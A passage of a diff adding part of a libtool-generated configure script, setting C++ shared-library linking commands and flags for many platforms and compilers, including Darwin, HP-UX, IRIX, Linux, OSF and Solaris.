+	    if test -f libconftest.dylib; then
+		lt_cv_apple_cc_single_mod=yes
+		rm libconftest.dylib
+	    fi
+	    rm conftest.$ac_ext
+	  fi
+fi
+
+	  output_verbose_link_cmd=echo
+	  if test "X$lt_cv_apple_cc_single_mod" = Xyes ; then
+	   archive_cmds_CXX='$CC -dynamiclib $single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
+	    archive_expsym_cmds_CXX='sed "s,^,_," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib $single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
+	  else
+	    archive_cmds_CXX='$CC -r -keep_private_externs -nostdlib -o ${lib}-master.o $libobjs~$CC -dynamiclib $allow_undefined_flag -o $lib ${lib}-master.o $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
+	    archive_expsym_cmds_CXX='sed "s,^,_," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -r -keep_private_externs -nostdlib -o ${lib}-master.o $libobjs~$CC -dynamiclib $allow_undefined_flag -o $lib ${lib}-master.o $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
+	  fi
+	  module_cmds_CXX='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
+	  module_expsym_cmds_CXX='sed "s,^,_," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag  -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
+	else
+	  case $cc_basename in
+	    xlc*)
+	      output_verbose_link_cmd=echo
+	      archive_cmds_CXX='$CC -qmkshrobj ${wl}-single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`$ECHO "$rpath/$soname"` $verstring'
+	      module_cmds_CXX='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
+	      # Don't fix this by using the ld -exported_symbols_list flag,
+	      # it doesn't exist in older darwin lds
+	      archive_expsym_cmds_CXX='sed "s,^,_," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj ${wl}-single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
+	      module_expsym_cmds_CXX='sed "s,^,_," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag  -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
+	      ;;
+	    *)
+	      ld_shlibs_CXX=no
+	      ;;
+	  esac
+	fi
+	;;
+
+      dgux*)
+        case $cc_basename in
+          ec++*)
+  	    # FIXME: insert proper C++ library support
+  	    ld_shlibs_CXX=no
+  	    ;;
+          ghcx*)
+  	    # Green Hills C++ Compiler
+  	    # FIXME: insert proper C++ library support
+  	    ld_shlibs_CXX=no
+  	    ;;
+          *)
+  	    # FIXME: insert proper C++ library support
+  	    ld_shlibs_CXX=no
+  	    ;;
+        esac
+        ;;
+
+      freebsd[12]*)
+        # C++ shared libraries reported to be fairly broken before
+	# switch to ELF
+        ld_shlibs_CXX=no
+        ;;
+
+      freebsd-elf*)
+        archive_cmds_need_lc_CXX=no
+        ;;
+
+      freebsd* | kfreebsd*-gnu | dragonfly*)
+        # FreeBSD 3 and later use GNU C++ and GNU ld with standard ELF
+        # conventions
+        ld_shlibs_CXX=yes
+        ;;
+
+      gnu*)
+        ;;
+
+      hpux9*)
+        hardcode_libdir_flag_spec_CXX='${wl}+b ${wl}$libdir'
+        hardcode_libdir_separator_CXX=:
+        export_dynamic_flag_spec_CXX='${wl}-E'
+        hardcode_direct_CXX=yes
+        hardcode_minus_L_CXX=yes # Not in the search PATH,
+  				             # but as the default
+  				             # location of the library.
+
+        case $cc_basename in
+          CC*)
+            # FIXME: insert proper C++ library support
+            ld_shlibs_CXX=no
+            ;;
+          aCC*)
+            archive_cmds_CXX='$RM $output_objdir/$soname~$CC -b ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+            # Commands to make compiler produce verbose output that lists
+            # what "hidden" libraries, object files and flags are used when
+            # linking a shared library.
+            #
+            # There doesn't appear to be a way to prevent this compiler from
+            # explicitly linking system object files so we need to strip them
+            # from the output so that they don't get included in the library
+            # dependencies.
+            output_verbose_link_cmd='templist=`($CC -b $CFLAGS -v conftest.$objext 2>&1) | $EGREP "\-L"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; $ECHO "X$list" | $Xsed'
+            ;;
+          *)
+            if test "$GXX" = yes; then
+              archive_cmds_CXX='$RM $output_objdir/$soname~$CC -shared -nostdlib -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+            else
+              # FIXME: insert proper C++ library support
+              ld_shlibs_CXX=no
+            fi
+            ;;
+        esac
+        ;;
+
+      hpux10*|hpux11*)
+        if test $with_gnu_ld = no; then
+  	  hardcode_libdir_flag_spec_CXX='${wl}+b ${wl}$libdir'
+  	  hardcode_libdir_separator_CXX=:
+
+          case $host_cpu in
+            hppa*64*|ia64*)
+              ;;
+            *)
+  	      export_dynamic_flag_spec_CXX='${wl}-E'
+              ;;
+          esac
+        fi
+        case $host_cpu in
+          hppa*64*|ia64*)
+            hardcode_direct_CXX=no
+            hardcode_shlibpath_var_CXX=no
+            ;;
+          *)
+            hardcode_direct_CXX=yes
+            hardcode_minus_L_CXX=yes # Not in the search PATH,
+  					         # but as the default
+  					         # location of the library.
+            ;;
+        esac
+
+        case $cc_basename in
+          CC*)
+  	    # FIXME: insert proper C++ library support
+  	    ld_shlibs_CXX=no
+  	    ;;
+          aCC*)
+  	    case $host_cpu in
+  	      hppa*64*)
+  	        archive_cmds_CXX='$CC -b ${wl}+h ${wl}$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+  	        ;;
+  	      ia64*)
+  	        archive_cmds_CXX='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+  	        ;;
+  	      *)
+  	        archive_cmds_CXX='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+  	        ;;
+  	    esac
+  	    # Commands to make compiler produce verbose output that lists
+  	    # what "hidden" libraries, object files and flags are used when
+  	    # linking a shared library.
+  	    #
+  	    # There doesn't appear to be a way to prevent this compiler from
+  	    # explicitly linking system object files so we need to strip them
+  	    # from the output so that they don't get included in the library
+  	    # dependencies.
+  	    output_verbose_link_cmd='templist=`($CC -b $CFLAGS -v conftest.$objext 2>&1) | $GREP "\-L"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; $ECHO "X$list" | $Xsed'
+  	    ;;
+          *)
+  	    if test "$GXX" = yes; then
+  	      if test $with_gnu_ld = no; then
+  	        case $host_cpu in
+  	          hppa*64*)
+  	            archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+  	            ;;
+  	          ia64*)
+  	            archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+  	            ;;
+  	          *)
+  	            archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+  	            ;;
+  	        esac
+  	      fi
+  	    else
+  	      # FIXME: insert proper C++ library support
+  	      ld_shlibs_CXX=no
+	    fi
+  	    ;;
+        esac
+        ;;
+
+      interix3*)
+	hardcode_direct_CXX=no
+	hardcode_shlibpath_var_CXX=no
+	hardcode_libdir_flag_spec_CXX='${wl}-rpath,$libdir'
+	export_dynamic_flag_spec_CXX='${wl}-E'
+	# Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc.
+	# Instead, shared libraries are loaded at an image base (0x10000000 by
+	# default) and relocated if they conflict, which is a slow very memory
+	# consuming and fragmenting process.  To avoid this, we pick a random,
+	# 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link
+	# time.  Moving up from 0x10000000 also allows more sbrk(2) space.
+	archive_cmds_CXX='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
+	archive_expsym_cmds_CXX='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
+	;;
+      irix5* | irix6*)
+        case $cc_basename in
+          CC*)
+  	    # SGI C++
+  	    archive_cmds_CXX='$CC -shared -all -multigot $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -soname $soname `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib'
+
+  	    # Archives containing C++ object files must be created using
+  	    # "CC -ar", where "CC" is the IRIX C++ compiler.  This is
+  	    # necessary to make sure instantiated templates are included
+  	    # in the archive.
+  	    old_archive_cmds_CXX='$CC -ar -WR,-u -o $oldlib $oldobjs'
+  	    ;;
+          *)
+  	    if test "$GXX" = yes; then
+  	      if test "$with_gnu_ld" = no; then
+  	        archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "X${wl}-set_version ${wl}$verstring" | $Xsed` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+  	      else
+  	        archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "X${wl}-set_version ${wl}$verstring" | $Xsed` -o $lib'
+  	      fi
+  	    fi
+  	    link_all_deplibs_CXX=yes
+  	    ;;
+        esac
+        hardcode_libdir_flag_spec_CXX='${wl}-rpath ${wl}$libdir'
+        hardcode_libdir_separator_CXX=:
+        inherit_rpath_CXX=yes
+        ;;
+
+      linux*)
+        case $cc_basename in
+          KCC*)
+  	    # Kuck and Associates, Inc. (KAI) C++ Compiler
+
+  	    # KCC will only create a shared library if the output file
+  	    # ends with ".so" (or ".sl" for HP-UX), so rename the library
+  	    # to its proper name (with version) after linking.
+  	    archive_cmds_CXX='tempext=`echo $shared_ext | $SED -e '\''s/\([^()0-9A-Za-z{}]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib'
+  	    archive_expsym_cmds_CXX='tempext=`echo $shared_ext | $SED -e '\''s/\([^()0-9A-Za-z{}]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib ${wl}-retain-symbols-file,$export_symbols; mv \$templib $lib'
+  	    # Commands to make compiler produce verbose output that lists
+  	    # what "hidden" libraries, object files and flags are used when
+	    # linking a shared library.
+	    #
+	    # There doesn't appear to be a way to prevent this compiler from
+	    # explicitly linking system object files so we need to strip them
+	    # from the output so that they don't get included in the library
+	    # dependencies.
+	    output_verbose_link_cmd='templist=`$CC $CFLAGS -v conftest.$objext -o libconftest$shared_ext 2>&1 | $GREP "ld"`; rm -f libconftest$shared_ext; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; $ECHO "X$list" | $Xsed'
+
+	    hardcode_libdir_flag_spec_CXX='${wl}-rpath,$libdir'
+	    export_dynamic_flag_spec_CXX='${wl}--export-dynamic'
+
+	    # Archives containing C++ object files must be created using
+	    # "CC -Bstatic", where "CC" is the KAI C++ compiler.
+	    old_archive_cmds_CXX='$CC -Bstatic -o $oldlib $oldobjs'
+	    ;;
+	  icpc* | ecpc* )
+	    # Intel C++
+	    with_gnu_ld=yes
+	    # version 8.0 and above of icpc choke on multiply defined symbols
+	    # if we add $predep_objects and $postdep_objects, however 7.1 and
+	    # earlier do not add the objects themselves.
+	    case `$CC -V 2>&1` in
+	      *"Version 7."*)
+	        archive_cmds_CXX='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib'
+		archive_expsym_cmds_CXX='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+		;;
+	      *)  # Version 8.0 or newer
+	        tmp_idyn=
+	        case $host_cpu in
+		  ia64*) tmp_idyn=' -i_dynamic';;
+		esac
+	        archive_cmds_CXX='$CC -shared'"$tmp_idyn"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+		archive_expsym_cmds_CXX='$CC -shared'"$tmp_idyn"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+		;;
+	    esac
+	    archive_cmds_need_lc_CXX=no
+	    hardcode_libdir_flag_spec_CXX='${wl}-rpath,$libdir'
+	    export_dynamic_flag_spec_CXX='${wl}--export-dynamic'
+	    whole_archive_flag_spec_CXX='${wl}--whole-archive$convenience ${wl}--no-whole-archive'
+	    ;;
+          pgCC*)
+            # Portland Group C++ compiler
+ 	    case `$CC -V` in
+ 	    *pgCC\ [1-5]*)
+ 	      prelink_cmds_CXX='tpldir=Template.dir~
+ 		rm -rf $tpldir~
+ 		$CC --prelink_objects --instantiation_dir $tpldir $objs $libobjs $compile_deplibs~
+ 		compile_command="$compile_command `find $tpldir -name \*.o | $NL2SP`"'
+ 	      old_archive_cmds_CXX='tpldir=Template.dir~
+ 		rm -rf $tpldir~
+ 		$CC --prelink_objects --instantiation_dir $tpldir $oldobjs$old_deplibs~
+ 		$AR $AR_FLAGS $oldlib$oldobjs$old_deplibs `find $tpldir -name \*.o | $NL2SP`~
+ 		$RANLIB $oldlib'
+ 	      archive_cmds_CXX='tpldir=Template.dir~
+ 		rm -rf $tpldir~
+ 		$CC --prelink_objects --instantiation_dir $tpldir $predep_objects $libobjs $deplibs $convenience $postdep_objects~
+ 		$CC -shared $pic_flag $predep_objects $libobjs $deplibs `find $tpldir -name \*.o | $NL2SP` $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib'
+ 	      archive_expsym_cmds_CXX='tpldir=Template.dir~
+ 		rm -rf $tpldir~
+ 		$CC --prelink_objects --instantiation_dir $tpldir $predep_objects $libobjs $deplibs $convenience $postdep_objects~
+ 		$CC -shared $pic_flag $predep_objects $libobjs $deplibs `find $tpldir -name \*.o | $NL2SP` $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname ${wl}-retain-symbols-file ${wl}$export_symbols -o $lib'
+ 	      ;;
+ 	    *) # Version 6 will use weak symbols
+ 	      archive_cmds_CXX='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib'
+ 	      archive_expsym_cmds_CXX='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname ${wl}-retain-symbols-file ${wl}$export_symbols -o $lib'
+ 	      ;;
+ 	    esac
+
+	    hardcode_libdir_flag_spec_CXX='${wl}--rpath ${wl}$libdir'
+	    export_dynamic_flag_spec_CXX='${wl}--export-dynamic'
+	    whole_archive_flag_spec_CXX='${wl}--whole-archive`for conv in $convenience\"\"; do test  -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $ECHO \"$new_convenience\"` ${wl}--no-whole-archive'
+            ;;
+	  cxx*)
+	    # Compaq C++
+	    archive_cmds_CXX='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib'
+	    archive_expsym_cmds_CXX='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname  -o $lib ${wl}-retain-symbols-file $wl$export_symbols'
+
+	    runpath_var=LD_RUN_PATH
+	    hardcode_libdir_flag_spec_CXX='-rpath $libdir'
+	    hardcode_libdir_separator_CXX=:
+
+	    # Commands to make compiler produce verbose output that lists
+	    # what "hidden" libraries, object files and flags are used when
+	    # linking a shared library.
+	    #
+	    # There doesn't appear to be a way to prevent this compiler from
+	    # explicitly linking system object files so we need to strip them
+	    # from the output so that they don't get included in the library
+	    # dependencies.
+	    output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | $GREP "ld"`; templist=`$ECHO "X$templist" | $Xsed -e "s/\(^.*ld.*\)\( .*ld .*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; $ECHO "X$list" | $Xsed'
+	    ;;
+	esac
+	;;
+
+      lynxos*)
+        # FIXME: insert proper C++ library support
+	ld_shlibs_CXX=no
+	;;
+
+      m88k*)
+        # FIXME: insert proper C++ library support
+        ld_shlibs_CXX=no
+	;;
+
+      mvs*)
+        case $cc_basename in
+          cxx*)
+  	    # FIXME: insert proper C++ library support
+	    ld_shlibs_CXX=no
+	    ;;
+	  *)
+  	    # FIXME: insert proper C++ library support
+	    ld_shlibs_CXX=no
+	    ;;
+	esac
+	;;
+
+      netbsd*)
+        if echo __ELF__ | $CC -E - | $GREP __ELF__ >/dev/null; then
+	  archive_cmds_CXX='$LD -Bshareable  -o $lib $predep_objects $libobjs $deplibs $postdep_objects $linker_flags'
+	  wlarc=
+	  hardcode_libdir_flag_spec_CXX='-R$libdir'
+	  hardcode_direct_CXX=yes
+	  hardcode_shlibpath_var_CXX=no
+	fi
+	# Workaround some broken pre-1.5 toolchains
+	output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | $GREP conftest.$objext | $SED -e "s:-lgcc -lc -lgcc::"'
+	;;
+
+      *nto* | *qnx*)
+        ld_shlibs_CXX=yes
+	;;
+
+      openbsd2*)
+        # C++ shared libraries are fairly broken
+	ld_shlibs_CXX=no
+	;;
+
+      openbsd*)
+	hardcode_direct_CXX=yes
+	hardcode_shlibpath_var_CXX=no
+	archive_cmds_CXX='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib'
+	hardcode_libdir_flag_spec_CXX='${wl}-rpath,$libdir'
+	if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
+	  archive_expsym_cmds_CXX='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-retain-symbols-file,$export_symbols -o $lib'
+	  export_dynamic_flag_spec_CXX='${wl}-E'
+	  whole_archive_flag_spec_CXX="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
+	fi
+	output_verbose_link_cmd=echo
+	;;
+
+      osf3* | osf4* | osf5*)
+        case $cc_basename in
+          KCC*)
+  	    # Kuck and Associates, Inc. (KAI) C++ Compiler
+
+	    # KCC will only create a shared library if the output file
+	    # ends with ".so" (or ".sl" for HP-UX), so rename the library
+	    # to its proper name (with version) after linking.
+	    archive_cmds_CXX='tempext=`echo $shared_ext | $SED -e '\''s/\([^()0-9A-Za-z{}]\)/\\\\\1/g'\''`; templib=`echo "$lib" | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib'
+
+	    hardcode_libdir_flag_spec_CXX='${wl}-rpath,$libdir'
+	    hardcode_libdir_separator_CXX=:
+
+	    # Archives containing C++ object files must be created using
+	    # the KAI C++ compiler.
+	    case $host in
+	      osf3*) old_archive_cmds_CXX='$CC -Bstatic -o $oldlib $oldobjs' ;;
+	      *) old_archive_cmds_CXX='$CC -o $oldlib $oldobjs' ;;
+	    esac
+	    ;;
+          RCC*)
+  	    # Rational C++ 2.4.1
+	    # FIXME: insert proper C++ library support
+	    ld_shlibs_CXX=no
+	    ;;
+          cxx*)
+	    case $host in
+	      osf3*)
+	        allow_undefined_flag_CXX=' ${wl}-expect_unresolved ${wl}\*'
+	        archive_cmds_CXX='$CC -shared${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $soname `test -n "$verstring" && $ECHO "X${wl}-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib'
+	        hardcode_libdir_flag_spec_CXX='${wl}-rpath ${wl}$libdir'
+		;;
+	      *)
+  	        allow_undefined_flag_CXX=' -expect_unresolved \*'
+	        archive_cmds_CXX='$CC -shared${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $soname `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib'
+	        archive_expsym_cmds_CXX='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done~
+	          echo "-hidden">> $lib.exp~
+	          $CC -shared$allow_undefined_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $soname -Wl,-input -Wl,$lib.exp  `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib~
+	          $RM $lib.exp'
+	        hardcode_libdir_flag_spec_CXX='-rpath $libdir'
+		;;
+	    esac
+
+	    hardcode_libdir_separator_CXX=:
+
+	    # Commands to make compiler produce verbose output that lists
+	    # what "hidden" libraries, object files and flags are used when
+	    # linking a shared library.
+	    #
+	    # There doesn't appear to be a way to prevent this compiler from
+	    # explicitly linking system object files so we need to strip them
+	    # from the output so that they don't get included in the library
+	    # dependencies.
+	    output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | $GREP "ld" | $GREP -v "ld:"`; templist=`$ECHO "X$templist" | $Xsed -e "s/\(^.*ld.*\)\( .*ld.*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; $ECHO "X$list" | $Xsed'
+	    ;;
+	  *)
+	    if test "$GXX" = yes && test "$with_gnu_ld" = no; then
+	      allow_undefined_flag_CXX=' ${wl}-expect_unresolved ${wl}\*'
+	      case $host in
+	        osf3*)
+	          archive_cmds_CXX='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "X${wl}-set_version ${wl}$verstring" | $Xsed` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+		  ;;
+	        *)
+	          archive_cmds_CXX='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "${wl}-set_version ${wl}$verstring" | $Xsed` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+		  ;;
+	      esac
+
+	      hardcode_libdir_flag_spec_CXX='${wl}-rpath ${wl}$libdir'
+	      hardcode_libdir_separator_CXX=:
+
+	      # Commands to make compiler produce verbose output that lists
+	      # what "hidden" libraries, object files and flags are used when
+	      # linking a shared library.
+	      output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | $GREP "\-L"'
+
+	    else
+	      # FIXME: insert proper C++ library support
+	      ld_shlibs_CXX=no
+	    fi
+	    ;;
+        esac
+        ;;
+
+      psos*)
+        # FIXME: insert proper C++ library support
+        ld_shlibs_CXX=no
+        ;;
+
+      sunos4*)
+        case $cc_basename in
+          CC*)
+  	    # Sun C++ 4.x
+  	    # FIXME: insert proper C++ library support
+  	    ld_shlibs_CXX=no
+  	    ;;
+          lcc*)
+  	    # Lucid
+  	    # FIXME: insert proper C++ library support
+  	    ld_shlibs_CXX=no
+  	    ;;
+          *)
+  	    # FIXME: insert proper C++ library support
+  	    ld_shlibs_CXX=no
+  	    ;;
+        esac
+        ;;
+
+      solaris*)
+        case $cc_basename in
+          CC*)
+  	    # Sun C++ 4.2, 5.x and Centerline C++
+            archive_cmds_need_lc_CXX=yes
+  	    no_undefined_flag_CXX=' -zdefs'
+  	    archive_cmds_CXX='$CC -G${allow_undefined_flag}  -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+  	    archive_expsym_cmds_CXX='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+  	      $CC -G${allow_undefined_flag} ${wl}-M ${wl}$lib.exp -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp'
+
+  	    hardcode_libdir_flag_spec_CXX='-R$libdir'
+  	    hardcode_shlibpath_var_CXX=no
+  	    case $host_os in
+  	      solaris2.[0-5] | solaris2.[0-5].*) ;;
+  	      *)
+  	        # The C++ compiler is used as linker so we must use $wl
+  	        # flag to pass the commands to the underlying system
+  	        # linker. We must also pass each convenience library through
+  	        # to the system linker between allextract/defaultextract.
+  	        # The C++ compiler will combine linker options so we
+  	        # cannot just pass the convenience library names through
+  	        # without $wl.
+  	        # Supported since Solaris 2.6 (maybe 2.5.1?)
+  	        whole_archive_flag_spec_CXX='${wl}-z ${wl}allextract`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $ECHO \"$new_convenience\"` ${wl}-z ${wl}defaultextract'
+  	        ;;
+  	    esac
+  	    link_all_deplibs_CXX=yes
+
+  	    output_verbose_link_cmd='echo'
+
+  	    # Archives containing C++ object files must be created using
+  	    # "CC -xar", where "CC" is the Sun C++ compiler.  This is
+  	    # necessary to make sure instantiated templates are included
+  	    # in the archive.
+  	    old_archive_cmds_CXX='$CC -xar -o $oldlib $oldobjs'
+  	    ;;
+          gcx*)
+  	    # Green Hills C++ Compiler
+  	    archive_cmds_CXX='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
+
+  	    # The C++ compiler must be used to create the archive.
+  	    old_archive_cmds_CXX='$CC $LDFLAGS -archive -o $oldlib $oldobjs'
+  	    ;;
+          *)
+  	    # GNU C++ compiler with Solaris linker
+  	    if test "$GXX" = yes && test "$with_gnu_ld" = no; then
+  	      no_undefined_flag_CXX=' ${wl}-z ${wl}defs'
+  	      if $CC --version | $GREP -v '^2\.7' > /dev/null; then
+  	        archive_cmds_CXX='$CC -shared -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
+  	        archive_expsym_cmds_CXX='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+  		  $CC -shared -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp'
+
+  	        # Commands to make compiler produce verbose output that lists
+  	        # what "hidden" libraries, object files and flags are used when
+  	        # linking a shared library.
+  	        output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | $GREP "\-L"'
+  	      else
+  	        # g++ 2.7 appears to require `-G' NOT `-shared' on this
+  	        # platform.
+  	        archive_cmds_CXX='$CC -G -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
+  	        archive_expsym_cmds_CXX='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+  		  $CC -G -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp'
+
+  	        # Commands to make compiler produce verbose output that lists
+  	        # what "hidden" libraries, object files and flags are used when
+  	        # linking a shared library.
+  	        output_verbose_link_cmd='$CC -G $CFLAGS -v conftest.$objext 2>&1 | $GREP "\-L"'
+  	      fi
+
+  	      hardcode_libdir_flag_spec_CXX='${wl}-R $wl$libdir'
+  	    fi
+  	    ;;
+        esac
+        ;;
+
+    sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[01].[10]* | unixware7* | sco3.2v5.0.[024]*)
+      no_undefined_flag_CXX='${wl}-z,text'
+      archive_cmds_need_lc_CXX=no
+      hardcode_shlibpath_var_CXX=no
+      runpath_var='LD_RUN_PATH'
+
+      case $cc_basename in
+        CC*)
+	  archive_cmds_CXX='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
